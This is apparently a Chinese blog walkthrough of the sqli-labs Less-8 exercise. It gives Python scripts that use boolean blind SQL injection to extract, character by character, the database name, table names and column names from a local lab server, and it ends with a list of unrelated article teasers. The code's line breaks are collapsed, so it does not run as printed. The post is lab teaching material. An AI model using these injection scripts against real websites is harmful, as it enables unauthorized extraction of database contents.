less-8 boolen盲注,时间盲注 函数补全
获取当前数据库名
import requestsdef inject_database(url):name=''max_length=20 # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32 # 起始为空格的ASCII码high_val=122 # 到z的ASCII码# 执行二分查找来找到每个字符while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_val# 获取字符并更新数据库名if low_val > 32: # 跳过空格和其他不可见字符char=chr(low_val)name+=charprint(f"Current database name: {name}")# 重置low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)
获取数据库表
import requestsdef inject_table_names(url, database_name):table_names=[] # 用于存储所有表名max_length=20 # 假设每个表名的最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表:我们假设表名的个数不超过100num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars) # 最小值:'0',ASCII 48high=max(allowed_chars) # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前表的名字payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text: # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars: # 确保是有效字符table_name+=chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name: # 如果当前表名非空,则保存它table_names.append(table_name)# 如果注入出了多个表,可以停止if len(table_names) >= 5: # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security" # 目标数据库名称inject_table_names(url, database_name)
获取表的列
import requestsdef inject_column_names(url, database_name, table_name):column_names=[] # 用于存储所有列名max_length=20 # 假设列名最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns=100 # 假设该表最多有100列for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars) # 最小值:'0',ASCII 48high=max(allowed_chars) # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前列的名字payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text: # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars: # 确保是有效字符column_name+=chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"): # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列,可以停止if len(column_names) >= 5: # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security" # 目标数据库名称table_name="users" # 目标表名inject_column_names(url, database_name, table_name)相关文章:
less-8 boolen盲注,时间盲注 函数补全
获取当前数据库名 import requestsdef inject_database(url):namemax_length20 # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low{a: 97, z: 122, A: 65, Z: 90, 0: 48, 9: 57, _: 95}high{97: a, 122: z, 65: A, 90: Z,…...
[NKU]C++基础课(五)补充:结构体
【3.3】C结构体介绍_哔哩哔哩_bilibili 结构体 最厉害的学生 现有N名同学参加了期末考试,并且获得了每名同学的信息: 1 姓名(不超过8个字符的仅有英文小写字母的字符串) 2 语文、数学、英语成绩(均为不超过150的自然数)。 3 总分最高的学生就是最厉害的。 请输…...
亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!
作者:程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案,但是很多人表示还是用的不够爽,比如用CodeChat的方案,只支持V3版本,不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么,今天,给…...
springcloud整合seata
1、前置安装与了解: 1、nacos的安装:docker安装nacos并挂载 2、seata的安装:docker安装seata并挂载,同时注册到nacos 3、spring-boot版本为2.6.12,spring-cloud-alibaba版本为2021.0.4.0,spring-cloud版本…...
Html5学习教程,从入门到精通,HTML5 简介语法知识点及案例代码(1)
HTML5 简介 HTML5 是最新的 HTML 标准,它引入了许多新特性,使网页开发更加强大和灵活。以下是一些关键的 HTML5 语法知识点: 1. 文档类型声明 (DOCTYPE) HTML5 的文档类型声明非常简单: <!DOCTYPE html>2. 字符编码 HT…...
Django加bootstrap实现上传文件含有进度条
1. 项目结构 myproject/ ├── myproject/ │ ├── settings.py │ ├── urls.py │ └── ... ├── myapp/ │ ├── templates/ │ │ └── upload.html │ ├── views.py │ ├── urls.py │ └── ... └── media/ # 手动创…...
八大排序算法(2)交换排序-冒泡排序 和 快速排序
快速排序(Quick Sort) 和 冒泡排序(Bubble Sort) 都是常见的交换排序算法,它们的核心思想都是通过交换元素来实现排序。但是,它们的工作原理和性能差异非常大。下面我们来详细对比这两种排序算法࿱…...
Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅
摘要 在当今的编程世界里,Node.js 和 Python 像是两个性格迥异的超级英雄,一个以速度和灵活性著称,另一个则以强大和优雅闻名。本文将探讨如何通过 Express 框架将 Node.js 和 Python 结合起来,打造出一个高效、有趣的 Web 应用。我们将通过一系列幽默风趣的实例和表格,展…...
STM32MP157A单片机移植Linux驱动
在stm32mp157a单片机移植Linux操作系统,并移植内核驱动,在应用程序中使用3个线程,分别实现控制单片机上3个led流水灯的功能、蜂鸣器控制的功能、风扇控制的功能。 需求整理: 1.驱动程序-->led1.c,led2.cÿ…...
Qt程序退出相关资源释放问题
目录 问题背景: aboutToQuit 代码举例 closeEvent事件 代码举例 程序退出方式 quit() exit(int returnCode 0) close() 问题背景: 实际项目中程序退出前往往需要及进行一些资源释放、配置保存、线程中断等操作,避免资源浪费ÿ…...
【大学生职业规划大赛备赛PPT资料PDF | 免费共享】
自取链接: 链接:https://pan.quark.cn/s/4fa45515325e 📢 同学,你是不是正在为职业规划大赛发愁? 想展示独特思路却不知如何下手? 想用专业模板却找不到资源? 别担心!我整理了全网…...
win32汇编环境,对话框中使用菜单示例一
;运行效果 ;win32汇编环境,对话框中使用菜单示例一 ;最基本的应用,即添加菜单及点击后响应的操作方法 ;直接抄进RadAsm可编译运行。重要部分加备注。 ;下面为asm文件 ;>>>>>>>>>>>>>>>>>>>>>>&g…...
AutoDock CrankPep or ADCP进行蛋白质多肽对接
需求描述 使用AutoDock CrankPep or ADCP进行蛋白质多肽对接 硬件及系统配置 自用电脑型号如下: 电脑:Precision Tower 7810 (Dell Inc.) CPU : Intel Xeon CPU E5-2686 v4 2.30GHz GPU: NVIDIA GeForce GTX 1070 Linux版本&a…...
高压直流熔断器研究
1.1 定义与作用 高压直流熔断器是一种用于直流电路的过电流保护装置,其主要作用是在电路中检测到过载电流或短路电流时,迅速切断电路,以防止电力设备受损或发生火灾等事故。根据 ISO-8820 和 QC/T420-2004 等标准的定义,熔断器是…...
微信小程序(uni)+蓝牙连接+Xprint打印机实现打印功能
1.蓝牙列表实现,蓝牙设备展示,蓝牙连接 <template><view class"container"><view class"container_top"><view class"l">设备名称</view><view class"r">{{state.phoneNam…...
使用 Docker 部署 Flask 应用
使用 Docker 部署 Flask 应用 一、引言 在现代软件开发中,应用的部署和环境管理是至关重要的环节。传统的部署方式常常会遇到 “在我机器上能运行,在你机器上不行” 的问题,而 Docker 的出现很好地解决了这个痛点。Docker 是一个用于开发、部署和运行应用程序的开放平台,…...
深入浅出GraphQL:现代API设计的未来
文章目录 一、引言二、什么是GraphQL?三、GraphQL的优势3.1 精确获取数据3.2 强类型系统3.3 单一端点3.4 实时数据 四、实际应用4.1 定义Schema4.2 实现解析器4.3 启动GraphQL服务器 五、结论 一、引言 在当今的 Web 开发中,API(应用程序编程…...
深入理解Zookeeper:分布式系统的协调者
引言 在现代分布式系统中,协调和管理多个节点之间的状态和行为是一个复杂且关键的任务。Zookeeper作为一个分布式协调服务,为开发者提供了一种高效、可靠的方式来处理分布式系统中的一致性问题。本文将介绍Zookeeper的基本概念、使用场景以及如何通过示…...
python绘图之回归拟合图
回归拟合图在数据分析中具有重要作用,它不仅可以帮助我们理解变量之间的关系,还可以评估模型的拟合效果、进行预测和推断、发现异常值,以及用于模型比较和结果展示。 import pandas as pd import seaborn as sns import matplotlib.pyplot as…...
C语言学习笔记(第二部份)
说明:由于所有内容放在一个md文件中会非常卡顿,本文件将接续C.md文件的第二部分 结构体 结构是一些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量。 结构体的成员可以是标量,数组,指针,…...
Arcana:Elixir原生嵌入式RAG库,一体化智能检索与生成方案
1. 项目概述:一个为Elixir生态量身打造的嵌入式RAG库如果你正在用Elixir和Phoenix构建应用,并且想为它加上一个智能的“知识大脑”,让应用能理解、检索并回答用户基于你私有数据的问题,那么Arcana就是你一直在找的那个工具。它不是…...
MCP 2026沙箱资源隔离白皮书首发:23项隔离指标基准测试、ARM/x86差异对比及FIPS 140-3合规路径
更多请点击: https://intelliparadigm.com 第一章:MCP 2026沙箱资源隔离白皮书概述 MCP 2026(Multi-Context Partitioning 2026)沙箱是面向云原生安全执行环境设计的下一代资源隔离框架,旨在为微服务、AI推理任务及敏…...
终极指南:5分钟掌握Locale Remulator系统区域语言模拟器
终极指南:5分钟掌握Locale Remulator系统区域语言模拟器 【免费下载链接】Locale_Remulator System Region and Language Simulator. 项目地址: https://gitcode.com/gh_mirrors/lo/Locale_Remulator Locale Remulator是一款免费高效的系统区域和语言模拟工具…...
计算机生成全息术与JPEG压缩的融合优化
1. 计算机生成全息术与JPEG压缩的跨界融合在增强现实(AR)和虚拟现实(VR)近眼显示领域,计算机生成全息术(CGH)正逐渐成为实现真正三维显示的关键技术。与传统的立体显示不同,CGH通过数值模拟光衍射过程生成全息图,能够提供完整的视差信息和物理…...
AI科学家智能体:从工具到自主探索的范式转变
1. 项目概述:当AI化身“科学家”最近在开源社区里,一个名为“AI-Scientist-v2”的项目引起了我的注意。这个由SakanaAI团队发布的项目,名字本身就充满了想象力——它不是一个简单的代码生成器或聊天机器人,而是一个旨在模拟“科学…...
EldenRingSaveCopier:三步实现艾尔登法环角色无损迁移
EldenRingSaveCopier:三步实现艾尔登法环角色无损迁移 【免费下载链接】EldenRingSaveCopier 项目地址: https://gitcode.com/gh_mirrors/el/EldenRingSaveCopier 你是否曾因为电脑更换、游戏重装或想在不同设备间同步进度而烦恼?数百小时的游戏…...
TensorFlow/Keras实现多头注意力机制的工程指南
1. 从零实现多头注意力机制的工程实践多头注意力机制(Multi-Head Attention)作为Transformer架构的核心组件,已经成为现代深度学习模型的标配。但大多数开发者只是调用现成的API,对其底层实现细节知之甚少。本文将带您用TensorFlo…...
免费获取Steam创意工坊模组的终极解决方案:WorkshopDL完全指南
免费获取Steam创意工坊模组的终极解决方案:WorkshopDL完全指南 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否曾在其他平台购买了游戏,却发现最精…...
为什么92%的MCP 2026试点项目在Phase 2失败?——来自中科院量子实验室的4个反直觉适配真相
更多请点击: https://intelliparadigm.com 第一章:为什么92%的MCP 2026试点项目在Phase 2失败?——来自中科院量子实验室的4个反直觉适配真相 适配层与量子态感知协议的隐性冲突 MCP 2026规范要求Phase 2启动时完成“动态拓扑感知校准”&am…...
Python语言模型实战:从Hugging Face到LangChain
1. Python语言模型入门指南语言模型(Language Models)已经成为当今人工智能领域最令人兴奋的技术之一。作为一名长期从事自然语言处理(NLP)开发的工程师,我见证了从简单的统计语言模型到如今强大的大语言模型ÿ…...
